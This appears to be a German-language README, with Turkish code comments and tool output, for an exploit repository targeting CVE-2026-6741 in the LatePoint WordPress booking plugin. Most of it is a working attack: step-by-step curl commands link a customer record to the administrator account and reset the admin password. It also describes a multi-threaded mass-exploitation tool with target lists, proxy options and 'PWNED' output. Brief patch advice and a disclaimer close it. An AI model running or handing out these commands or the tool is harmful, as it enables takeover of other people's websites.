
CVE-2026-6741 ist eine authentifizierte (Agent+) Privilege-Escalation-Schwachstelle mit CVSS-Score 8.8 (High) im LatePoint – Calendar Booking Plugin.
CVE-2026-6741 ist eine Schwachstelle mit CVSS-Score 8.8 (High) zur Authenticated (Agent+) Privilege Escalation im LatePoint – Calendar Booking Plugin
Plugin: LatePoint – Calendar Booking Plugin for Appointments and Events (
latepoint) CVE-ID: CVE-2026-6741 CVSS-Score: 8.8 (High) CVSS-Vektor:CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HSchwachstellentyp: Authenticated (Agent+) Privilege Escalation → Administrator Takeover Betroffene Versionen: <= 5.4.1 Gepatchte Version: 5.4.2 Veröffentlichungsdatum: 27. April 2026 Forscher: skyv3il (AI SAFE), Chirita Catalin-Andrei / CC99IE (UVT-CTF), AmonRa — Wordfence
Ein authentifizierter Angreifer mit der Rolle latepoint_agent kann einen beliebigen LatePoint-Kundendatensatz mit einem WordPress-Administratorkonto verknüpfen und anschließend über den eigenen Passwort-Reset-Ablauf von LatePoint das Passwort des Administrators ändern.
Dies führt zu einer vollständigen Übernahme der Website.
LatePoint 5.3.0 führte die Unterstützung für die Abilities API ein, die mit WordPress 6.9+ verfügbar ist. Diese API ermöglicht es Plugins, über die REST API aufrufbare „Ability"-Klassen zu registrieren:
// latepoint.php (5.4.1, line 907)
if ( function_exists( 'wp_register_ability' ) ) {
include_once LATEPOINT_ABSPATH . 'lib/abilities/class-latepoint-abilities.php';
}
// lib/abilities/customers/connect-customer-to-wp-user.php — line 12
protected function configure(): void {
$this->id = 'latepoint/connect-customer-to-wp-user';
$this->label = __( 'Connect customer to WP user', 'latepoint' );
$this->permission = 'customer__edit'; // ← tek kontrol: bu capability
}
Die Agent-Rolle verfügt standardmäßig über die Berechtigung customer__edit:
// lib/helpers/roles_helper.php — line 401
public static function get_default_capabilities_list_for_agent_role() {
$capabilities = [
...
'customer__edit', // ← agent bu yetkiye sahip
...
];
}
// connect-customer-to-wp-user.php — lines 39–60
public function execute( array $args ) {
$customer = new OsCustomerModel( (int) $args['customer_id'] );
$wp_user_id = (int) $args['wp_user_id'];
if ( ! get_userdata( $wp_user_id ) ) {
// Sadece kullanıcının var olup olmadığı kontrol ediliyor
// EKSIK: Hedef kullanıcının rolü kontrol edilmiyor
return new WP_Error( 'wp_user_not_found', ... );
}
$customer->wordpress_user_id = $wp_user_id; // ← herhangi bir WP user'a bağla
$customer->save();
return $this->serialize_customer( ... );
}
// lib/models/customer_model.php — line 315
public function update_password( $password ) {
if ( OsAuthHelper::can_wp_users_login_as_customers()
&& $this->wordpress_user_id ) {
wp_set_password( $password, $this->wordpress_user_id );
// ↑ wordpress_user_id artık admin ID'si → admin şifresi değişir
}
}
// LatePointAbstractAbility — check_permission()
public function check_permission(): bool {
return OsRolesHelper::can_user( $this->permission );
// Sadece ÇAĞIRANIN yetkisini kontrol eder
// HEDEF kullanıcının rolünü kontrol etmez
}
latepoint_agent hesabı
│
▼
1. Agent olarak WP'ye giriş yap → REST nonce al
│
▼
2. Hedef admin WordPress user ID'sini tespit et
(wp-json/wp/v2/users veya ID=1)
│
▼
3. POST /wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user
{ "customer_id": 5, "wp_user_id": 1 }
→ Rol kontrolü yok → Başarılı
│
▼
4. LatePoint forgot_password → customer emailine reset token gönder
│
▼
5. Token ile change_password → update_password() çağrılır
→ wp_set_password("Hacked!", 1)
→ Admin şifresi değişti
│
▼
6. Yeni şifreyle admin olarak giriş → Tam site kontrolü ✓
⚠️ Haftungsausschluss: Dieses PoC dient ausschließlich Bildungs- und defensiven Sicherheitsforschungszwecken.
Voraussetzungen:
latepoint_agentWP_URL="https://target.example.com"
AGENT_USER="agent_user"
AGENT_PASS="agent_password"
# Cookie tabanlı oturum aç
curl -c cookies.txt -b cookies.txt -s -X POST "$WP_URL/wp-login.php" \
-d "log=$AGENT_USER&pwd=$AGENT_PASS&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
-H "Cookie: wordpress_test_cookie=WP+Cookie+check"
# REST nonce al
NONCE=$(curl -s -b cookies.txt \
"$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")
echo "Nonce: $NONCE"
# REST API ile admin kullanıcıları listele
curl -s "$WP_URL/wp-json/wp/v2/users?roles=administrator" \
-H "X-WP-Nonce: $NONCE" | python3 -m json.tool
ADMIN_WP_USER_ID=1 # Genellikle ID=1
CUSTOMER_ID=5 # Kontrol ettiğin LatePoint customer ID
curl -s -b cookies.txt -X POST \
"$WP_URL/wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user" \
-H "Content-Type: application/json" \
-H "X-WP-Nonce: $NONCE" \
-d "{\"customer_id\": $CUSTOMER_ID, \"wp_user_id\": $ADMIN_WP_USER_ID}"
Erwartete Antwort:
{
"id": 5,
"wp_user_id": 1,
"email": "[email protected]"
}
CUSTOMER_EMAIL="[email protected]"
curl -s -X POST \
"$WP_URL/?latepoint_route=customer_cabinet%2Fforgot_password" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "password_reset_email=$CUSTOMER_EMAIL"
LatePoint sendet eine Reset-E-Mail mit dem account_nonce-Token an $CUSTOMER_EMAIL.
RESET_TOKEN="<emailden_alinan_token>"
NEW_PASSWORD="Attacker_Password123!"
curl -s -X POST \
"$WP_URL/?latepoint_route=customer_cabinet%2Fchange_password" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "password_reset_token=$RESET_TOKEN&password=$NEW_PASSWORD&password_confirmation=$NEW_PASSWORD"
Dieser Aufruf löst die Kette update_password() → wp_set_password($NEW_PASSWORD, 1) aus. Das Admin-Passwort wurde geändert.
curl -c admin_cookies.txt -b admin_cookies.txt -s -X POST \
"$WP_URL/wp-login.php" \
-d "log=admin&pwd=$NEW_PASSWORD&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
-H "Cookie: wordpress_test_cookie=WP+Cookie+check"
# wp-admin erişimi
curl -b admin_cookies.txt "$WP_URL/wp-admin/user-new.php"
# Beklenen: 200 OK (wp-login.php'ye yönlendirme değil)
# REST API ile rol doğrulama
ADMIN_NONCE=$(curl -s -b admin_cookies.txt \
"$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")
curl -s "$WP_URL/wp-json/wp/v2/users/me" \
-H "X-WP-Nonce: $ADMIN_NONCE" | python3 -m json.tool
# Beklenen: "roles": ["administrator"]
git clone https://github.com/kullanici/cve-2026-6741-scanner
cd cve-2026-6741-scanner
pip install -r requirements.txt
requirements.txt
requests
python latepoint_privesc.py -u http://hedef.com \
--agent-user agent1 --agent-pass Pass123!
python latepoint_privesc.py -u http://hedef.com \
--agent-user agent1 --agent-pass Pass123! \
--admin-id 1 \
--customer-id 5 \
--customer-email [email protected]
python latepoint_privesc.py -u http://hedef.com \
--agent-user agent1 --agent-pass Pass123! \
--admin-id 1 \
--customer-id 5 \
--customer-email [email protected] \
--reset-token abc123xyz \
--new-password Hacked_2026!
python latepoint_privesc.py -l targets.txt -t 10 \
--agent-user agent1 --agent-pass Pass123! \
-o sonuclar.txt
python latepoint_privesc.py -u http://hedef.com \
--agent-user agent1 --agent-pass Pass123! \
--proxy http://127.0.0.1:8080
| Parameter | Beschreibung |
|---|---|
--agent-user | Agent-Benutzername (erforderlich) |
--agent-pass | Agent-Passwort (erforderlich) |
| Parameter | Beschreibung | Standard |
|---|---|---|
--admin-id |
| Parameter | Beschreibung | Standard |
|---|---|---|
--reset-token | Aus der E-Mail erhaltenes Reset-Token | — |
--new-password | Neues Admin-Passwort | Pwned_CVE2026_6741! |
[*] Hedef : http://hedef.com
[*] Agent : agent1
[*] Admin ID : otomatik tespit
[*] Customer ID : otomatik tespit
[*] Reset Token : email bekleniyor
[*] Yeni Şifre : Pwned_CVE2026_6741!
[→] http://hedef.com Adım 1/6: Agent girişi...
[→] http://hedef.com Adım 2/6: Admin user ID tespiti...
[→] http://hedef.com Adım 3/6: Customer ID tespiti...
[→] http://hedef.com Adım 4/6: Customer #5 → Admin #1 bağlanıyor...
[→] http://hedef.com Adım 5/6: Şifre sıfırlama başlatılıyor...
[→] http://hedef.com Adım 6/6: Şifre değiştiriliyor (manuel token)...
════════════════════════════════════════════════════════════
[★ PWNED ] http://hedef.com
Sürüm : 5.4.1
Admin ID : 1
Customer : #5 <[email protected]>
Kullanıcı : admin roles=['administrator']
════════════════════════════════════════════════════════════
[+] Kaydedildi → privesc_results.txt
┌─────────────────────────────────────────────────────────┐
│ AŞAMA 1 — Bağla + Reset Emaili Gönder │
│ │
│ python latepoint_privesc.py -u http://hedef.com \ │
│ --agent-user agent1 --agent-pass Pass123! \ │
│ --customer-id 5 --customer-email [email protected] │
│ │
│ → Çıktı: "Reset emaili gönderildi — token bekleniyor" │
└─────────────────────────┬───────────────────────────────┘
│
Email'den token al
│
┌─────────────────────────▼───────────────────────────────┐
│ AŞAMA 2 — Token ile Şifreyi Değiştir │
│ │
│ python latepoint_privesc.py -u http://hedef.com \ │
│ --agent-user agent1 --agent-pass Pass123! \ │
│ --customer-id 5 --customer-email [email protected] \ │
│ --reset-token abc123xyz \ │
│ --new-password Hacked_2026! │
│ │
│ → Çıktı: ★ PWNED — roles=['administrator'] │
└─────────────────────────────────────────────────────────┘
Sicheres execute()-Beispiel:
// Güvensiz (mevcut — 5.4.1)
if ( ! get_userdata( $wp_user_id ) ) {
return new WP_Error( 'wp_user_not_found', ... );
}
// Güvenli (önerilen — 5.4.2+)
$target_user = get_userdata( $wp_user_id );
if ( ! $target_user ) {
return new WP_Error( 'wp_user_not_found', ... );
}
// Hedef kullanıcının rolünü kontrol et
if ( in_array( 'administrator', (array) $target_user->roles ) ) {
return new WP_Error( 'forbidden', 'Cannot link customer to administrator.' );
}
cve-2026-6741-scanner/
├── latepoint_privesc.py # Ana tarayıcı
├── requirements.txt # Bağımlılıklar
└── README.md # Bu dosya
Dieses Tool und dieses PoC sind ausschließlich für die Verwendung auf autorisierten Systemen, zu Bildungszwecken und im Rahmen von Penetrationstests vorgesehen. Die Verwendung auf nicht autorisierten Systemen stellt gemäß den Artikeln 243–245 des türkischen Strafgesetzbuchs sowie internationaler Cyberkriminalitätsgesetze eine Straftat dar. Der Entwickler übernimmt keinerlei rechtliche Haftung für Schäden, die aus dem Missbrauch des Tools entstehen.
MIT-Lizenz — Nur für Bildungs- und Forschungszwecke.
| Feld | Wert |
|---|
| Plugin-Name | LatePoint – Calendar Booking Plugin |
| Plugin-Slug | latepoint |
| CVE-ID | CVE-2026-6741 |
| CVSS-Score | 8.8 (High) |
| Schwachstellentyp | Authenticated (Agent+) Privilege Escalation |
| Betroffene Version | <= 5.4.1 |
| Gepatchte Version | 5.4.2 |
| Voraussetzung | latepoint_agent-Rolle, WordPress 6.9+ |
| Parameter | Kurz | Beschreibung | Standard |
|---|
--url | -u | Einzelne Ziel-URL | — |
--list | -l | Datei mit Zielliste | — |
--threads | -t | Anzahl der Threads | 5 |
--output | -o | Ausgabedatei | privesc_results.txt |
--proxy | — | Proxy-URL | — |
--timeout | — | Anfrage-Timeout (Sek.) | 10 |
--force | — | Fortfahren, auch wenn die Abilities-API-Erkennung fehlschlägt | False |
| WP-Benutzer-ID des Ziel-Admins |
| automatische Erkennung |
--customer-id | Kontrollierte LatePoint-Customer-ID | automatische Erkennung |
--customer-email | E-Mail-Adresse des LatePoint-Customers | Agent-E-Mail |
| Status | Beschreibung |
|---|
★ PWNED | Admin-Passwort geändert, Sitzung eröffnet |
~ RESET_SENT | Reset-E-Mail gesendet — Token wird erwartet |
~ PWD_CHANGE | Passwort geändert — Admin-Login manuell verifizieren |
- LINK_FAIL | Customer-Admin-Verknüpfung fehlgeschlagen |
- LOGIN_FAIL | Agent-Anmeldung fehlgeschlagen |
- NO_PLUGIN | LatePoint nicht installiert |
- NO_ABILITY | Abilities API deaktiviert (WP 6.9+ erforderlich) |
~ NO_CUST | Customer-ID nicht gefunden — manuell angeben |
~ UNREACH | Ziel nicht erreichbar |
| Maßnahme | Umsetzung |
|---|
| Plugin-Update | Auf LatePoint 5.4.2+ aktualisieren |
| Rollenprüfung hinzufügen | Zielbenutzerrolle in execute() validieren |
| Abilities API einschränken | Berechtigung connect-customer-to-wp-user von der Agent-Rolle entfernen |
| Passwort-Reset-Schutz | LatePoint-Reset-Ablauf für Admin-Konten deaktivieren |
| WP-6.9-Abilities-Prüfung | Registrierte Abilities regelmäßig überprüfen |